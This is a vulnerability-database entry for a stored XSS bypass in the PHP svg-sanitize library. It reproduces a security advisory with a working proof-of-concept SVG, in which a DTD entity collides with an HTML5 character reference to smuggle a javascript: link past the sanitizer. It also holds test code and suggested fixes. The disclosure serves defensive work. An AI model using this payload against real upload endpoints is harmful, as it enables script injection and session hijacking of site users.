Vulnerability-Lookup

GHSA-9RJX-3JCH-6VJF

Vulnerability from github – Published: 2026-10-08 19:41 – Updated: 2026-10-08 19:41

Summary

enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision

Details

Summary

A crafted SVG bypasses enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).

This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.

Affected installations: - enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents - WordPress Safe SVG plugin: 1M+ active installs (inline SVG rendering via themes) - TYPO3, Drupal and 90+ other Packagist dependents

Vulnerability Details

Mechanism

Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference: xml <!ENTITY Tab "#"> In XML, &Tab; expands to the literal string "#" (from the DTD definition). In HTML5, &Tab; is a Named Character Reference that resolves to U+0009 (TAB character).
The SVG uses this entity in an href: xml <a href="&Tab;javascript:alert(document.domain)">
During sanitization (XML context): &Tab; → "#" → the sanitizer sees href="#javascript:alert(document.domain)" → starts with # → isHrefSafeValue() returns TRUE → passes through.
Sanitizer output: saveXML() outputs the entity reference &Tab; (not the expanded value), and strips the DOCTYPE declaration.
In the browser (HTML5 context): Without the DOCTYPE, &Tab; is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → javascript:alert(document.domain) executes.

Root Cause (Sanitizer.php)

// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)
protected function isHrefSafeValue($value) {
    if ('#' === substr($value, 0, 1)) {
        return true;  // Fragment identifier — "safe"
    }
    // ...
}

// But saveXML() preserves the entity REFERENCE, not the expanded value
// And the DOCTYPE (which defines the entity) is stripped from output
// → semantic mismatch between validation and output contexts

Proof of Concept

Malicious SVG (xss.svg)

<!DOCTYPE svg [<!ENTITY Tab "#">]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
  <a href="&Tab;javascript:alert(document.domain)">
    <rect width="400" height="120" fill="#c00" rx="12"/>
    <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
  </a>
</svg>

Sanitizer processing

<?php
require_once 'vendor/autoload.php';

$svg = file_get_contents('xss.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo $clean;

Output:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
  <a href="&Tab;javascript:alert(document.domain)">
    <rect width="400" height="120" fill="#c00" rx="12"/>
    <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
  </a>
</svg>

The javascript: href passes through the sanitizer. The DOCTYPE is stripped, but the &Tab; entity reference is preserved.

Browser exploitation

Embed the sanitized SVG inline in HTML:

<div class="svg-container">
  <!-- sanitized SVG output inserted here -->
  <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
    <a href="&Tab;javascript:alert(document.domain)">
      <rect width="400" height="120" fill="#c00" rx="12"/>
      <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
    </a>
  </svg>
</div>

Clicking the red rectangle executes alert(document.domain).

Confirmed: Chrome 148. PoC file: XSS_CONFIRMED_POC.html

Exploitable Named Character References

Any HTML5 Named Character Reference that expands to a URL-parser-ignored character: - &Tab; → U+0009 (Horizontal Tab) - &NewLine; → U+000A (Line Feed)

These are stripped by the URL parser's scheme extraction, allowing javascript: to be the effective scheme.

Impact

Stored XSS

Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint
SVG passes sanitization — sanitizer reports no issues
When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin
Account takeover: document.cookie, fetch('/wp-admin/...'), session hijacking

Context requirement

The sanitized SVG must be embedded inline in HTML (not as <img src="file.svg">). Common scenarios: - WordPress themes that echo file_get_contents($svg_path) for inline SVG rendering - WordPress block editor SVG preview - Any web application rendering svg-sanitize output directly in HTML

Standalone <img src="...svg"> is NOT affected (browser uses XML parser, &Tab; without DOCTYPE = XML parse error).

CVSS

CVSS 3.1: 6.1 (Medium) — stored XSS, requires user click

AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

With session stealing / admin takeover chain: effective severity High.

Suggested Fix

Option 1: Strip DOCTYPE before parsing (recommended)

$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);

Eliminates entity definitions entirely. No DTD entities = no collision.

Option 2: Validate href after serialization

$clean = $this->xmlDocument->saveXML(...);
// Post-serialization check: re-validate all href values in the OUTPUT
// (catches entity references that bypass the XML-expanded check)

Option 3: Expand entities before validation

Validate getAttribute() return value AND the serialized form:

$href = $element->getAttribute($attrName);
$serialized = $this->xmlDocument->saveXML($element);
// Check both for javascript: scheme

Environment

enshrined/svg-sanitize 0.22.x
Chrome 148 (confirmed XSS execution)
PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)

Reported by ExPatch Security Research — expatch.llc Denis Rostilov

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "enshrined/svg-sanitize"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:41:15Z",
    "nvd_published_at": "2026-10-08T18:17:23Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA crafted SVG bypasses `enshrined/svg-sanitize`\u0027s href validation and delivers a `javascript:` URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).\n\n**This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug \u2014 it works on any PHP version.**\n\n**Affected installations:**\n- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents\n- **WordPress Safe SVG plugin:** 1M+ active installs (inline SVG rendering via themes)\n- **TYPO3, Drupal** and 90+ other Packagist dependents\n\n## Vulnerability Details\n\n### Mechanism\n\n1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:\n   ```xml\n   \u003c!ENTITY Tab \"#\"\u003e\n   ```\n   In XML, `\u0026Tab;` expands to the literal string `\"#\"` (from the DTD definition).\n   In HTML5, `\u0026Tab;` is a Named Character Reference that resolves to U+0009 (TAB character).\n\n2. The SVG uses this entity in an href:\n   ```xml\n   \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n   ```\n\n3. **During sanitization** (XML context): `\u0026Tab;` \u2192 `\"#\"` \u2192 the sanitizer sees `href=\"#javascript:alert(document.domain)\"` \u2192 starts with `#` \u2192 `isHrefSafeValue()` returns **TRUE** \u2192 passes through.\n\n4. **Sanitizer output:** `saveXML()` outputs the entity reference `\u0026Tab;` (not the expanded value), and strips the DOCTYPE declaration.\n\n5. **In the browser** (HTML5 context): Without the DOCTYPE, `\u0026Tab;` is resolved as the HTML5 Named Character Reference \u2192 U+0009 (TAB). The URL parser strips leading whitespace \u2192 `javascript:alert(document.domain)` **executes**.\n\n### Root Cause (Sanitizer.php)\n\n```php\n// isHrefSafeValue() \u2014 evaluates EXPANDED value (after XML entity resolution)\nprotected function isHrefSafeValue($value) {\n    if (\u0027#\u0027 === substr($value, 0, 1)) {\n        return true;  // Fragment identifier \u2014 \"safe\"\n    }\n    // ...\n}\n\n// But saveXML() preserves the entity REFERENCE, not the expanded value\n// And the DOCTYPE (which defines the entity) is stripped from output\n// \u2192 semantic mismatch between validation and output contexts\n```\n\n## Proof of Concept\n\n### Malicious SVG (xss.svg)\n\n```xml\n\u003c!DOCTYPE svg [\u003c!ENTITY Tab \"#\"\u003e]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n  \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n    \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n    \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n### Sanitizer processing\n\n```php\n\u003c?php\nrequire_once \u0027vendor/autoload.php\u0027;\n\n$svg = file_get_contents(\u0027xss.svg\u0027);\n$sanitizer = new \\enshrined\\svgSanitize\\Sanitizer();\n$clean = $sanitizer-\u003esanitize($svg);\necho $clean;\n```\n\n**Output:**\n```xml\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n  \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n    \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n    \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\nThe `javascript:` href passes through the sanitizer. The DOCTYPE is stripped, but the `\u0026Tab;` entity reference is preserved.\n\n### Browser exploitation\n\nEmbed the sanitized SVG inline in HTML:\n```html\n\u003cdiv class=\"svg-container\"\u003e\n  \u003c!-- sanitized SVG output inserted here --\u003e\n  \u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n    \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n      \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n      \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n    \u003c/a\u003e\n  \u003c/svg\u003e\n\u003c/div\u003e\n```\n\n**Clicking the red rectangle executes `alert(document.domain)`.**\n\n**Confirmed:** Chrome 148. PoC file: `XSS_CONFIRMED_POC.html`\n\n### Exploitable Named Character References\n\nAny HTML5 Named Character Reference that expands to a URL-parser-ignored character:\n- `\u0026Tab;` \u2192 U+0009 (Horizontal Tab)\n- `\u0026NewLine;` \u2192 U+000A (Line Feed)\n\nThese are stripped by the URL parser\u0027s scheme extraction, allowing `javascript:` to be the effective scheme.\n\n## Impact\n\n### Stored XSS\n\n- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint\n- SVG passes sanitization \u2014 sanitizer reports no issues\n- When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page\u0027s origin\n- **Account takeover:** `document.cookie`, `fetch(\u0027/wp-admin/...\u0027)`, session hijacking\n\n### Context requirement\n\nThe sanitized SVG must be embedded **inline in HTML** (not as `\u003cimg src=\"file.svg\"\u003e`). Common scenarios:\n- WordPress themes that `echo file_get_contents($svg_path)` for inline SVG rendering\n- WordPress block editor SVG preview\n- Any web application rendering svg-sanitize output directly in HTML\n\nStandalone `\u003cimg src=\"...svg\"\u003e` is NOT affected (browser uses XML parser, `\u0026Tab;` without DOCTYPE = XML parse error).\n\n## CVSS\n\n**CVSS 3.1: 6.1 (Medium)** \u2014 stored XSS, requires user click\n\n`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`\n\nWith session stealing / admin takeover chain: effective severity **High**.\n\n## Suggested Fix\n\n### Option 1: Strip DOCTYPE before parsing (recommended)\n\n```php\n$dirty = preg_replace(\u0027/\u003c!DOCTYPE[^\u003e]*(?:\\[.*?\\])?\\s*\u003e/si\u0027, \u0027\u0027, $dirty);\n```\n\nEliminates entity definitions entirely. No DTD entities = no collision.\n\n### Option 2: Validate href after serialization\n\n```php\n$clean = $this-\u003exmlDocument-\u003esaveXML(...);\n// Post-serialization check: re-validate all href values in the OUTPUT\n// (catches entity references that bypass the XML-expanded check)\n```\n\n### Option 3: Expand entities before validation\n\nValidate `getAttribute()` return value AND the serialized form:\n```php\n$href = $element-\u003egetAttribute($attrName);\n$serialized = $this-\u003exmlDocument-\u003esaveXML($element);\n// Check both for javascript: scheme\n```\n\n## Environment\n\n- enshrined/svg-sanitize 0.22.x\n- Chrome 148 (confirmed XSS execution)\n- PHP 8.3.24 (any version \u2014 bug is in PHP sanitizer logic, not ext/dom)\n\n**Reported by ExPatch Security Research \u2014 [expatch.llc](https://expatch.llc/)\nDenis Rostilov**",
  "id": "GHSA-9rjx-3jch-6vjf",
  "modified": "2026-10-08T19:41:15Z",
  "published": "2026-10-08T19:41:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-9rjx-3jch-6vjf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107380"
    },
    {
      "type": "WEB",
      "url": "https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/darylldoyle/svg-sanitizer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision"
}

CVE-2026-107380 (GCVE-0-2026-107380)

Vulnerability from cvelistv5 – Published: 2026-10-08 18:06 – Updated: 2026-10-09 15:14

Title

enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision

Summary

savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer's isHrefSafeValue() validates an SVG href after XML DTD entity expansion, but saveXML() serializes the original entity reference after removing the DTD declaration. A crafted entity such as Tab can appear to the sanitizer as a safe fragment prefix while HTML5 Named Character Reference resolution during inline HTML rendering later converts the surviving reference to whitespace, exposing a javascript: URL. When an application embeds the sanitized SVG inline, a user who activates the link can cause script to execute in the embedding page's origin. This issue is fixed in version 1.0.0.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-08 20:23 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7886 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/darylldoyle/svg-sanitizer/secu…	x_refsource_CONFIRM
https://github.com/darylldoyle/svg-sanitizer/comm…	x_refsource_MISC
https://github.com/darylldoyle/svg-sanitizer/rele…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
darylldoyle	svg-sanitizer	Affected: < 1.0.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-107380",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-08T20:23:16.348451Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-09T15:14:45.596Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "svg-sanitizer",
          "vendor": "darylldoyle",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.0.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer\u0027s isHrefSafeValue() validates an SVG href after XML DTD entity expansion, but saveXML() serializes the original entity reference after removing the DTD declaration. A crafted entity such as Tab can appear to the sanitizer as a safe fragment prefix while HTML5 Named Character Reference resolution during inline HTML rendering later converts the surviving reference to whitespace, exposing a javascript: URL. When an application embeds the sanitized SVG inline, a user who activates the link can cause script to execute in the embedding page\u0027s origin. This issue is fixed in version 1.0.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-08T18:06:14.107Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-9rjx-3jch-6vjf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-9rjx-3jch-6vjf"
        },
        {
          "name": "https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867"
        },
        {
          "name": "https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0"
        }
      ],
      "source": {
        "advisory": "GHSA-9rjx-3jch-6vjf",
        "discovery": "UNKNOWN"
      },
      "title": "enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-107380",
    "datePublished": "2026-10-08T18:06:14.107Z",
    "dateReserved": "2026-10-07T21:07:54.988Z",
    "dateUpdated": "2026-10-09T15:14:45.596Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-9RJX-3JCH-6VJF

Summary

Vulnerability Details

Mechanism

Root Cause (Sanitizer.php)

Proof of Concept

Malicious SVG (xss.svg)

Sanitizer processing

Browser exploitation

Exploitable Named Character References

Impact

Stored XSS

Context requirement

CVSS

Suggested Fix

Option 1: Strip DOCTYPE before parsing (recommended)

Option 2: Validate href after serialization

Option 3: Expand entities before validation

Environment

CVE-2026-107380 (GCVE-0-2026-107380)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour